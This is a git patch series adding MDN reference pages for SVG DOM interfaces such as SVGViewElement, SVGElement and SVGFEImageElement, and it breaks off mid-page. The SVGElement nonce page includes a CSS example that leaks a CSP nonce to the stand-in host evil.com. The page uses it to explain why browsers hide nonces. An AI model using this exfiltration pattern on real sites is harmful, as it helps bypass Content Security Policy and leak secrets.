From b9fa5e524fb55a33f5b859aa49be8f834d99abaf Mon Sep 17 00:00:00 2001
From: Yash Raj Bharti <43868318+yashrajbharti@users.noreply.github.com>
Date: Tue, 31 Dec 2024 13:06:18 +0530
Subject: [PATCH 1/8] New Pages: SVGViewElement properties (#37363)
---
files/en-us/web/api/svgviewelement/index.md | 5 ++
.../preserveaspectratio/index.md | 46 +++++++++++++++++++
.../web/api/svgviewelement/viewbox/index.md | 46 +++++++++++++++++++
3 files changed, 97 insertions(+)
create mode 100644 files/en-us/web/api/svgviewelement/preserveaspectratio/index.md
create mode 100644 files/en-us/web/api/svgviewelement/viewbox/index.md
diff --git a/files/en-us/web/api/svgviewelement/index.md b/files/en-us/web/api/svgviewelement/index.md
index 622e5d1cb380d38..2f66635d25b0a73 100644
--- a/files/en-us/web/api/svgviewelement/index.md
+++ b/files/en-us/web/api/svgviewelement/index.md
@@ -15,6 +15,11 @@ The **`SVGViewElement`** interface provides access to the properties of {{SVGEle
_This interface also inherits properties from its parent interface, {{domxref("SVGElement")}}._
+- {{domxref("SVGViewElement.viewBox")}} {{ReadOnlyInline}}
+ - : An {{domxref("SVGAnimatedRect")}} corresponding to the {{SVGAttr("viewBox")}} attribute of the given {{SVGElement("view")}} element.
+- {{domxref("SVGViewElement.preserveAspectRatio")}} {{ReadOnlyInline}}
+ - : An {{domxref("SVGAnimatedPreserveAspectRatio")}} corresponding to the {{SVGAttr("preserveAspectRatio")}} attribute of the given {{SVGElement("view")}} element.
+
## Instance methods
_This interface doesn't implement any specific methods, but inherits methods from its parent interface, {{domxref("SVGElement")}}._
diff --git a/files/en-us/web/api/svgviewelement/preserveaspectratio/index.md b/files/en-us/web/api/svgviewelement/preserveaspectratio/index.md
new file mode 100644
index 000000000000000..9fb327a3aef67b4
--- /dev/null
+++ b/files/en-us/web/api/svgviewelement/preserveaspectratio/index.md
@@ -0,0 +1,46 @@
+---
+title: "SVGViewElement: preserveAspectRatio property"
+short-title: preserveAspectRatio
+slug: Web/API/SVGViewElement/preserveAspectRatio
+page-type: web-api-instance-property
+browser-compat: api.SVGViewElement.preserveAspectRatio
+---
+
+{{APIRef("SVG")}}
+
+The **`preserveAspectRatio`** read-only property of the {{domxref("SVGViewElement")}} interface reflects the {{SVGAttr("preserveAspectRatio")}} attribute of the given {{SVGElement("view")}} element. It defines how the content within the `view` should be scaled to fit its viewport while preserving its aspect ratio.
+
+## Value
+
+An {{domxref("SVGAnimatedPreserveAspectRatio")}} object.
+
+## Example
+
+Given the following SVG, we can use the `preserveAspectRatio` property to retrieve the scaling behavior for a `view` element:
+
+```html
+
+```
+
+We can access the `preserveAspectRatio` attribute:
+
+```js
+const view = document.querySelector("view");
+
+console.log(view.preserveAspectRatio.baseVal); // output: SVGPreserveAspectRatio {align: 1, meetOrSlice: 1}
+```
+
+## Specifications
+
+{{Specifications}}
+
+## Browser compatibility
+
+{{Compat}}
+
+## See also
+
+- {{SVGAttr("preserveAspectRatio")}}
diff --git a/files/en-us/web/api/svgviewelement/viewbox/index.md b/files/en-us/web/api/svgviewelement/viewbox/index.md
new file mode 100644
index 000000000000000..7f47573f0457482
--- /dev/null
+++ b/files/en-us/web/api/svgviewelement/viewbox/index.md
@@ -0,0 +1,46 @@
+---
+title: "SVGViewElement: viewBox property"
+short-title: viewBox
+slug: Web/API/SVGViewElement/viewBox
+page-type: web-api-instance-property
+browser-compat: api.SVGViewElement.viewBox
+---
+
+{{APIRef("SVG")}}
+
+The **`viewBox`** read-only property of the {{domxref("SVGViewElement")}} interface reflects the {{SVGAttr("viewBox")}} attribute of the given {{SVGElement("view")}} element. It represents the `x`, `y`, `width`, and `height` values defining the area to be used for the `view`'s `viewBox`.
+
+## Value
+
+An {{domxref("SVGAnimatedRect")}} object.
+
+## Example
+
+Given the following SVG, we can use the `viewBox` property to retrieve the dimensions of the `viewBox` for a `view` element:
+
+```html
+
+```
+
+We can access the `viewBox` attribute:
+
+```js
+const view = document.querySelector("view");
+
+console.log(view.viewBox.baseVal); // output: DOMRect {x: 0, y: 0, width: 50, height: 50}
+```
+
+## Specifications
+
+{{Specifications}}
+
+## Browser compatibility
+
+{{Compat}}
+
+## See also
+
+- {{SVGAttr("viewBox")}}
From 3b135a0ae3b80cb24f6495fa8956c6631f5ce1ba Mon Sep 17 00:00:00 2001
From: Yash Raj Bharti <43868318+yashrajbharti@users.noreply.github.com>
Date: Tue, 31 Dec 2024 13:07:20 +0530
Subject: [PATCH 2/8] Focus and Blur Pages for SVGElement (#37365)
---
files/en-us/web/api/svgelement/blur/index.md | 70 ++++++++++++++++
files/en-us/web/api/svgelement/focus/index.md | 79 +++++++++++++++++++
files/en-us/web/api/svgelement/index.md | 4 +
3 files changed, 153 insertions(+)
create mode 100644 files/en-us/web/api/svgelement/blur/index.md
create mode 100644 files/en-us/web/api/svgelement/focus/index.md
diff --git a/files/en-us/web/api/svgelement/blur/index.md b/files/en-us/web/api/svgelement/blur/index.md
new file mode 100644
index 000000000000000..1b44132a11cf3c1
--- /dev/null
+++ b/files/en-us/web/api/svgelement/blur/index.md
@@ -0,0 +1,70 @@
+---
+title: "SVGElement: blur() method"
+short-title: blur()
+slug: Web/API/SVGElement/blur
+page-type: web-api-instance-method
+browser-compat: api.SVGElement.blur
+---
+
+{{APIRef("SVG")}}
+
+The **`SVGElement.blur()`** method removes keyboard focus from the current SVG element.
+
+## Syntax
+
+```js-nolint
+blur()
+```
+
+### Parameters
+
+None.
+
+### Return value
+
+None ({{jsxref("undefined")}}).
+
+## Examples
+
+### Remove focus from an SVG circle element
+
+#### HTML
+
+```html
+
+```
+
+#### JavaScript
+
+```js
+const circle = document.getElementById("myCircle");
+const focusButton = document.getElementById("focusButton");
+const blurButton = document.getElementById("blurButton");
+
+// Focus the circle when the "Focus" button is clicked
+focusButton.addEventListener("click", () => {
+ circle.focus();
+});
+
+// Blur the circle when the "Blur" button is clicked
+blurButton.addEventListener("click", () => {
+ circle.blur();
+});
+```
+
+## Specifications
+
+{{Specifications}}
+
+## Browser compatibility
+
+{{Compat}}
+
+## See also
+
+- {{domxref("SVGElement.focus")}} makes the element the current keyboard focus.
+- {{domxref("HTMLElement.blur")}} a similar method for HTML elements.
diff --git a/files/en-us/web/api/svgelement/focus/index.md b/files/en-us/web/api/svgelement/focus/index.md
new file mode 100644
index 000000000000000..ff818f8eb9aa7a5
--- /dev/null
+++ b/files/en-us/web/api/svgelement/focus/index.md
@@ -0,0 +1,79 @@
+---
+title: "SVGElement: focus() method"
+short-title: focus()
+slug: Web/API/SVGElement/focus
+page-type: web-api-instance-method
+browser-compat: api.SVGElement.focus
+---
+
+{{APIRef("SVG")}}
+
+The **`SVGElement.focus()`** method sets focus on the specified SVG element, if it can be focused.
+The focused element is the element that will receive keyboard and similar events by default.
+
+By default the browser will scroll the element into view after focusing it, and it may also provide visible indication of the focused element (typically by displaying a "focus ring" around the element).
+Parameter options are provided to disable the default scrolling and force visible indication on elements.
+
+## Syntax
+
+```js-nolint
+focus()
+focus(options)
+```
+
+### Parameters
+
+- `options` {{optional_inline}}
+
+ - : An optional object for controlling aspects of the focusing process.
+ This object may contain the following properties:
+
+ - `preventScroll` {{optional_inline}}
+ - : A boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view.
+ A value of `false` for `preventScroll` (the default) means that the browser will scroll the element into view after focusing it.
+ If `preventScroll` is set to `true`, no scrolling will occur.
+
+### Return value
+
+None ({{jsxref("undefined")}}).
+
+## Examples
+
+### Focusing an SVG element
+
+This example uses a button to set the focus on an SVG circle element.
+
+#### HTML
+
+```html
+
+```
+
+#### JavaScript
+
+```js
+document.getElementById("focusButton").addEventListener("click", () => {
+ const circle = document.getElementById("myCircle");
+ circle.focus();
+});
+```
+
+## Specifications
+
+{{Specifications}}
+
+## Notes
+
+- If you call `SVGElement.focus()` from a mousedown event handler, you must call `event.preventDefault()` to keep the focus from leaving the `SVGElement`
+
+## Browser compatibility
+
+{{Compat}}
+
+## See also
+
+- {{domxref("SVGElement.blur")}} to remove the focus from an element.
+- {{domxref("HTMLElement.focus")}} a similar method for HTML elements.
diff --git a/files/en-us/web/api/svgelement/index.md b/files/en-us/web/api/svgelement/index.md
index 1aafa542875d266..245371a9d80c80c 100644
--- a/files/en-us/web/api/svgelement/index.md
+++ b/files/en-us/web/api/svgelement/index.md
@@ -21,6 +21,10 @@ _Also inherits properties from the {{DOMxRef("Element")}} interface._
- : A {{DOMxRef("DOMStringMap")}} object which provides a list of key/value pairs of named data attributes which correspond to [custom data attributes](/en-US/docs/Learn_web_development/Howto/Solve_HTML_problems/Use_data_attributes) attached to the element. These can also be defined in SVG using attributes of the form {{SVGAttr("data-*")}}, where `*` is the key name for the pair. This works just like HTML's {{DOMxRef("HTMLElement.dataset")}} property and HTML's [`data-*`](/en-US/docs/Web/HTML/Global_attributes/data-*) global attribute.
- {{DOMxRef("SVGElement.className")}} {{Deprecated_Inline}} {{ReadOnlyInline}}
- : An {{DOMxRef("SVGAnimatedString")}} that reflects the value of the {{SVGAttr("class")}} attribute on the given element, or the empty string if `class` is not present. This attribute is deprecated and may be removed in a future version of this specification. Authors are advised to use {{DOMxRef("Element.classList")}} instead.
+- {{DOMxRef("SVGElement.blur")}}
+ - : Removes keyboard focus from the currently focused element.
+- {{DOMxRef("SVGElement.focus")}}
+ - : Makes the element the current keyboard focus.
- {{DOMxRef("SVGElement.nonce")}}
- : Returns the cryptographic number used once that is used by Content Security Policy to determine whether a given fetch will be allowed to proceed.
- {{DOMxRef("SVGElement.ownerSVGElement")}} {{ReadOnlyInline}}
From 5498d8aab210c639ba0415071ca6fd77305762b0 Mon Sep 17 00:00:00 2001
From: Estelle Weyl
Date: Mon, 30 Dec 2024 23:38:52 -0800
Subject: [PATCH 3/8] New pages: SVGFEImageElement (#37319)
---
.../web/api/svgfeimageelement/height/index.md | 41 +++++++++++++++++
.../web/api/svgfeimageelement/result/index.md | 44 +++++++++++++++++++
.../web/api/svgfeimageelement/width/index.md | 41 +++++++++++++++++
.../web/api/svgfeimageelement/x/index.md | 41 +++++++++++++++++
.../web/api/svgfeimageelement/y/index.md | 41 +++++++++++++++++
5 files changed, 208 insertions(+)
create mode 100644 files/en-us/web/api/svgfeimageelement/height/index.md
create mode 100644 files/en-us/web/api/svgfeimageelement/result/index.md
create mode 100644 files/en-us/web/api/svgfeimageelement/width/index.md
create mode 100644 files/en-us/web/api/svgfeimageelement/x/index.md
create mode 100644 files/en-us/web/api/svgfeimageelement/y/index.md
diff --git a/files/en-us/web/api/svgfeimageelement/height/index.md b/files/en-us/web/api/svgfeimageelement/height/index.md
new file mode 100644
index 000000000000000..2c47ea0376016dd
--- /dev/null
+++ b/files/en-us/web/api/svgfeimageelement/height/index.md
@@ -0,0 +1,41 @@
+---
+title: "SVGFEImageElement: height property"
+short-title: height
+slug: Web/API/SVGFEImageElement/height
+page-type: web-api-instance-property
+browser-compat: api.SVGFEImageElement.height
+---
+
+{{APIRef("SVG")}}
+
+The **`height`** read-only property of the {{domxref("SVGFEImageElement")}} interface describes the vertical size of an SVG filter primitive as a {{domxref("SVGAnimatedLength")}}.
+
+It reflects the {{SVGAttr("height")}} attribute of the {{SVGElement("feImage")}} element, which fetches image data from an external source and provides the pixel data as output. The attribute is a [``](/en-US/docs/Web/SVG/Content_type#length) or a [``](/en-US/docs/Web/SVG/Content_type#percentage) relative to the height of the filter region. The default value is `100%`. The property value is a length in user coordinate system units.
+
+## Value
+
+An {{domxref("SVGAnimatedLength")}}.
+
+## Example
+
+```js
+const feImage = document.querySelector("feImage");
+const verticalSize = feImage.height;
+console.log(verticalSize.baseVal.value); // the `height` value
+```
+
+## Specifications
+
+{{Specifications}}
+
+## Browser compatibility
+
+{{Compat}}
+
+## See also
+
+- {{domxref("SVGFEImageElement.width")}}
+- [SVG tutorial: Filter effects](/en-US/docs/Web/SVG/Tutorial/Filter_effects)
+- [SVG Filter primitive attributes](/en-US/docs/Web/SVG/Attribute#filters_attributes)
+- CSS {{cssxref("blend-mode")}} data type
+- CSS {{cssxref("mix-blend-mode")}} property
diff --git a/files/en-us/web/api/svgfeimageelement/result/index.md b/files/en-us/web/api/svgfeimageelement/result/index.md
new file mode 100644
index 000000000000000..a9ad51092eae563
--- /dev/null
+++ b/files/en-us/web/api/svgfeimageelement/result/index.md
@@ -0,0 +1,44 @@
+---
+title: "SVGFEImageElement: result property"
+short-title: result
+slug: Web/API/SVGFEImageElement/result
+page-type: web-api-instance-property
+browser-compat: api.SVGFEImageElement.result
+---
+
+{{APIRef("SVG")}}
+
+The **`result`** read-only property of the {{domxref("SVGFEImageElement")}} interface describes the assigned name of an SVG filter primitive as a {{domxref("SVGAnimatedString")}}.
+
+It reflects the {{SVGAttr("result")}} attribute of the {{SVGElement("feImage")}} element, which fetches image data from an external source and provides the pixel data as output. The attribute value is a {{cssxref("custom-ident")}}. If supplied, then graphics that result from processing this filter primitive can be referenced by an {{SVGAttr("in")}} attribute on a subsequent filter primitive within the same {{SVGElement("filter")}} element.
+
+If no `result` attribute is defined, the filter's `result.baseVal` and `result.animVal` are empty strings, and the output of the `` filter will only be available for re-use as the implicit input into the next filter primitive if that filter primitive provides no value for its `in` attribute.
+
+## Value
+
+An {{domxref("SVGAnimatedString")}}.
+
+## Example
+
+```js
+const feImageElement = document.querySelector("feImage");
+const filterName = feImageElement.result;
+console.log(filterName.baseVa); // the filter's assigned name
+```
+
+## Specifications
+
+{{Specifications}}
+
+## Browser compatibility
+
+{{Compat}}
+
+## See also
+
+- {{domxref("SVGFEImageElement.in1")}}
+- {{cssxref("custom-ident")}} data type
+- [SVG tutorial: Filter effects](/en-US/docs/Web/SVG/Tutorial/Filter_effects)
+- [SVG Filter primitive attributes](/en-US/docs/Web/SVG/Attribute#filters_attributes)
+- CSS {{cssxref("blend-mode")}} data type
+- CSS {{cssxref("mix-blend-mode")}} property
diff --git a/files/en-us/web/api/svgfeimageelement/width/index.md b/files/en-us/web/api/svgfeimageelement/width/index.md
new file mode 100644
index 000000000000000..f667080121025a5
--- /dev/null
+++ b/files/en-us/web/api/svgfeimageelement/width/index.md
@@ -0,0 +1,41 @@
+---
+title: "SVGFEImageElement: width property"
+short-title: width
+slug: Web/API/SVGFEImageElement/width
+page-type: web-api-instance-property
+browser-compat: api.SVGFEImageElement.width
+---
+
+{{APIRef("SVG")}}
+
+The **`width`** read-only property of the {{domxref("SVGFEImageElement")}} interface describes the horizontal size of an SVG filter primitive as a {{domxref("SVGAnimatedLength")}}.
+
+It reflects the {{SVGAttr("width")}} attribute of the {{SVGElement("feImage")}} element, which fetches image data from an external source and provides the pixel data as output. The attribute is a [``](/en-US/docs/Web/SVG/Content_type#length) or a [``](/en-US/docs/Web/SVG/Content_type#percentage) relative to the width of the filter region. The default value is `100%`. The property value is a length in user coordinate system units.
+
+## Value
+
+An {{domxref("SVGAnimatedLength")}}.
+
+## Example
+
+```js
+const feImage = document.querySelector("feImage");
+const horizontalSize = feImage.width;
+console.log(horizontalSize.baseVal.value); // the `width` value
+```
+
+## Specifications
+
+{{Specifications}}
+
+## Browser compatibility
+
+{{Compat}}
+
+## See also
+
+- {{domxref("SVGFEImageElement.height")}}
+- [SVG tutorial: Filter effects](/en-US/docs/Web/SVG/Tutorial/Filter_effects)
+- [SVG Filter primitive attributes](/en-US/docs/Web/SVG/Attribute#filters_attributes)
+- CSS {{cssxref("blend-mode")}} data type
+- CSS {{cssxref("mix-blend-mode")}} property
diff --git a/files/en-us/web/api/svgfeimageelement/x/index.md b/files/en-us/web/api/svgfeimageelement/x/index.md
new file mode 100644
index 000000000000000..321363c515ddacc
--- /dev/null
+++ b/files/en-us/web/api/svgfeimageelement/x/index.md
@@ -0,0 +1,41 @@
+---
+title: "SVGFEImageElement: x property"
+short-title: x
+slug: Web/API/SVGFEImageElement/x
+page-type: web-api-instance-property
+browser-compat: api.SVGFEImageElement.x
+---
+
+{{APIRef("SVG")}}
+
+The **`x`** read-only property of the {{domxref("SVGFEImageElement")}} interface describes the horizontal coordinate of the position of an SVG filter primitive as a {{domxref("SVGAnimatedLength")}}.
+
+It reflects the {{SVGAttr("x")}} attribute of the {{SVGElement("feImage")}} element, which fetches image data from an external source and provides the pixel data as output. The attribute is a [``](/en-US/docs/Web/SVG/Content_type#length) or [``](/en-US/docs/Web/SVG/Content_type#percentage). The `` is a length in the user coordinate system that is the given distance from the origin of the user coordinate system along the x-axis. If the `x` attribute is a percent value, the property value is relative to the width of the filter region in user coordinate system units. The default value is `0`.
+
+## Value
+
+An {{domxref("SVGAnimatedLength")}}.
+
+## Example
+
+```js
+const feImage = document.querySelector("feImage");
+const leftPosition = feImage.x;
+console.log(leftPosition.baseVal.value); // the `x` value
+```
+
+## Specifications
+
+{{Specifications}}
+
+## Browser compatibility
+
+{{Compat}}
+
+## See also
+
+- {{domxref("SVGFEImageElement.y")}}
+- [SVG tutorial: Filter effects](/en-US/docs/Web/SVG/Tutorial/Filter_effects)
+- [SVG Filter primitive attributes](/en-US/docs/Web/SVG/Attribute#filters_attributes)
+- CSS {{cssxref("blend-mode")}} data type
+- CSS {{cssxref("mix-blend-mode")}} property
diff --git a/files/en-us/web/api/svgfeimageelement/y/index.md b/files/en-us/web/api/svgfeimageelement/y/index.md
new file mode 100644
index 000000000000000..48f7d9c48bc90f8
--- /dev/null
+++ b/files/en-us/web/api/svgfeimageelement/y/index.md
@@ -0,0 +1,41 @@
+---
+title: "SVGFEImageElement: y property"
+short-title: "y"
+slug: Web/API/SVGFEImageElement/y
+page-type: web-api-instance-property
+browser-compat: api.SVGFEImageElement.y
+---
+
+{{APIRef("SVG")}}
+
+The **`y`** read-only property of the {{domxref("SVGFEImageElement")}} interface describes the vertical coordinate of the position of an SVG filter primitive as a {{domxref("SVGAnimatedLength")}}.
+
+It reflects the {{SVGAttr("y")}} attribute of the {{SVGElement("feImage")}} element, which fetches image data from an external source and provides the pixel data as output. The attribute is a [``](/en-US/docs/Web/SVG/Content_type#length) or [``](/en-US/docs/Web/SVG/Content_type#percentage). The `` is a length in the user coordinate system that is the given distance from the origin of the filter along the y-axis. If the `y` attribute is a percent value, the property value is a relative to the height of the filter region in user coordinate system units. The default value is `0`.
+
+## Value
+
+An {{domxref("SVGAnimatedLength")}}.
+
+## Example
+
+```js
+const feImage = document.querySelector("feImage");
+const topPosition = feImage.y;
+console.log(topPosition.baseVal.value); // the `y` value
+```
+
+## Specifications
+
+{{Specifications}}
+
+## Browser compatibility
+
+{{Compat}}
+
+## See also
+
+- {{domxref("SVGFEImageElement.x")}}
+- [SVG tutorial: Filter effects](/en-US/docs/Web/SVG/Tutorial/Filter_effects)
+- [SVG Filter primitive attributes](/en-US/docs/Web/SVG/Attribute#filters_attributes)
+- CSS {{cssxref("blend-mode")}} data type
+- CSS {{cssxref("mix-blend-mode")}} property
From 97dc5e941cca2f67ece5ff91d0c96674f210fef9 Mon Sep 17 00:00:00 2001
From: Yash Raj Bharti <43868318+yashrajbharti@users.noreply.github.com>
Date: Tue, 31 Dec 2024 13:15:39 +0530
Subject: [PATCH 4/8] New Pages: SVGElement (#37369)
---
files/en-us/web/api/svgelement/nonce/index.md | 54 ++++++++++++++
.../api/svgelement/ownersvgelement/index.md | 46 ++++++++++++
.../web/api/svgelement/tabindex/index.md | 70 +++++++++++++++++++
.../api/svgelement/viewportelement/index.md | 49 +++++++++++++
4 files changed, 219 insertions(+)
create mode 100644 files/en-us/web/api/svgelement/nonce/index.md
create mode 100644 files/en-us/web/api/svgelement/ownersvgelement/index.md
create mode 100644 files/en-us/web/api/svgelement/tabindex/index.md
create mode 100644 files/en-us/web/api/svgelement/viewportelement/index.md
diff --git a/files/en-us/web/api/svgelement/nonce/index.md b/files/en-us/web/api/svgelement/nonce/index.md
new file mode 100644
index 000000000000000..40f7764caef4411
--- /dev/null
+++ b/files/en-us/web/api/svgelement/nonce/index.md
@@ -0,0 +1,54 @@
+---
+title: "SVGElement: nonce property"
+short-title: nonce
+slug: Web/API/SVGElement/nonce
+page-type: web-api-instance-property
+browser-compat: api.SVGElement.nonce
+---
+
+{{APIRef("SVG")}}
+
+The **`nonce`** property of the {{DOMxRef("SVGElement")}} interface returns the nonce that is used by [Content Security Policy](/en-US/docs/Web/HTTP/CSP) to determine whether a given fetch will be allowed to proceed.
+
+## Value
+
+A String; the cryptographic nonce, or an empty string if no nonce is set.
+
+## Examples
+
+### Retrieving a nonce value
+
+In the past, not all browsers supported the `nonce` IDL attribute, so a workaround is to try to use [`getAttribute`](/en-US/docs/Web/API/Element/getAttribute) as a fallback:
+
+```js
+const svg = document.querySelector("svg");
+const nonce = svg.nonce || svg.getAttribute("nonce");
+
+// Modern browsers hide the nonce attribute from getAttribute()
+console.log(nonce); // Prefer using `svg.nonce`
+```
+
+However, recent browsers version hide `nonce` values that are accessed this way (an empty string will be returned). The IDL property (`svg['nonce']`) will be the only way to access nonces.
+
+Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this CSS selector:
+
+```css example-bad
+svg[nonce~="whatever"] {
+ background: url("https://evil.com/nonce?whatever");
+}
+```
+
+## Specifications
+
+{{Specifications}}
+
+## Browser compatibility
+
+{{Compat}}
+
+## See also
+
+- {{domxref("HTMLElement.nonce")}} a similar method for HTML elements.
+- [`nonce` global attribute](/en-US/docs/Web/HTML/Global_attributes/nonce)
+- [Content Security Policy](/en-US/docs/Web/HTTP/CSP)
+- CSP: {{CSP("script-src")}}
diff --git a/files/en-us/web/api/svgelement/ownersvgelement/index.md b/files/en-us/web/api/svgelement/ownersvgelement/index.md
new file mode 100644
index 000000000000000..60ccb22953916ae
--- /dev/null
+++ b/files/en-us/web/api/svgelement/ownersvgelement/index.md
@@ -0,0 +1,46 @@
+---
+title: "SVGElement: ownerSVGElement property"
+short-title: ownerSVGElement
+slug: Web/API/SVGElement/ownerSVGElement
+page-type: web-api-instance-property
+browser-compat: api.SVGElement.ownerSVGElement
+---
+
+{{APIRef("SVG")}}
+
+The **`ownerSVGElement`** property of the {{DOMxRef("SVGElement")}} interface reflects the nearest ancestor {{SVGElement("svg")}} element. `null` if the given element is the outermost `